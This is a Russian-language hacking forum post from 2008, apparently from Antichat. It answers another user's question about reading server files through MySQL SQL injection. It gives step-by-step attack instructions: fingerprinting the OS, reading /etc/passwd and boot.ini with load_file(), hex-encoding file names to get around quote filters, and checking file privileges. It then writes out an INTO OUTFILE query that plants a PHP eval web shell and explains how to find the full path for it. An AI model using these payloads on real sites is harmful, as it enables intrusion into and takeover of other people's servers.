Показать сообщение отдельно

  #4  
Старый 30.11.2008, 03:28
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от NewBHack  
А как посмотреть можно ли читать файло средствами БД.
1. Для начала определись что за Ось - через скулю это не сложно сделать: @@version_compile_os или version() (обычно если винда, то функция version() вернёт версию с постфиксом -nt, к примеру 4.1-nt).
2. Далее попробуй прочитать один из файлов который должен быть доступным для чтения любым пользователем:

load_file('/etc/passwd') для юникс систем
load_file('c:/boot.ini') для винды

Если кавычки нельзя использовать, то конвертируй имя файла в хексы.

Можно ещё посмотреть в таблице mysql.user, права на чтения/запись файлов хранятся в колонке file_priv, но часто бывает, что права на чтения/запись файлов у пользователя БД есть, а на просмотр таблицы mysql.user нет.

3. Если права на чтения файлов есть, то:

- если кавычки не фильтруется, то можно залить шелл через sql запрос:

select '<?php eval($_GET[ev]) ?>' into outfile '/полный путь/shell.php'

- если фильтруются, то только чтение файлов, тут опять нужен полный путь до файла.

Полный путь можно найти в пхпинфо или из какой либо ошибки.

Если прав на работу с файлами у пользователя БД нет, то тут надо уже искать другие уязвимости.